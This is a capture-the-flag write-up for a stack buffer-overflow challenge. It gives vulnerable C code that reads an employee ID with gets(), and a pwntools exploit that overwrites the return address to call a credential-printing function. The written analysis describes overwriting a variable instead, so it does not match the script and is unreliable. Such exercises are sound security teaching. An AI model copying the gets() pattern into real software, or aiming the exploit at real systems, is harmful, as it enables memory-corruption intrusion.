Nexus Corp Override

Contents

Source
Exploitation Steps
- Analysis
- Done
Solution

Source

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void unlock_credentials()
{
    FILE *fp = fopen("flag.txt", "r");
    if (!fp) {
        perror("Could not open flag.txt");
        exit(1);
    }
    char flag[100];
    fgets(flag, sizeof(flag), fp);
    fclose(fp);
    printf("CREDENTIALS UNLOCKED: %s\n", flag);
    fflush(stdout);
}

void authenticate_user()
{
    char employee_id[24];
    int clearance_level = 0;

    printf("=== NEXUS CORP SECURITY TERMINAL ===\n");
fflush(stdout);
    printf("Enter your employee ID:\n");
fflush(stdout);
    gets(employee_id);

    printf("Welcome, %s!\n", employee_id);

    if (clearance_level == 0x1337) {
        printf("HIGH CLEARANCE DETECTED. Unlocking admin credentials...\n");
        unlock_credentials();
    } else {
        printf("INSUFFICIENT CLEARANCE. Access restricted to public areas.\n");
    }
}

int main()
{
    authenticate_user();
    return 0;
}

Exploitation Steps

Analysis

Not much to say, the easiest type of binary exploitation challenge. The solution is fill up the buffer employee_id with garbage and overwrite variable clearance_level with 0x1337.

Done

That is it. Just see the solution.

Solution

#!/usr/bin/env python3

from pwn import *

elf = ELF("./overflow1_patched")

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""


def find_offset():
    r = process([elf.path])
    gdb.attach(r)
    p = cyclic(1000)
    r.sendline(p)
    r.interactive()


def conn():
    if args.REMOTE:
        r = remote("34.66.146.178", 9653)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()

    offset = 40 * b'i'
    win = elf.sym["unlock_credentials"]

    payload = offset + p32(win)

    r.sendline(payload)
    r.recvuntil(b'CREDENTIALS UNLOCKED: ')

    flag = r.recvuntil(b'\n')
    print()
    print(flag)
    print()


if __name__ == "__main__":
    main()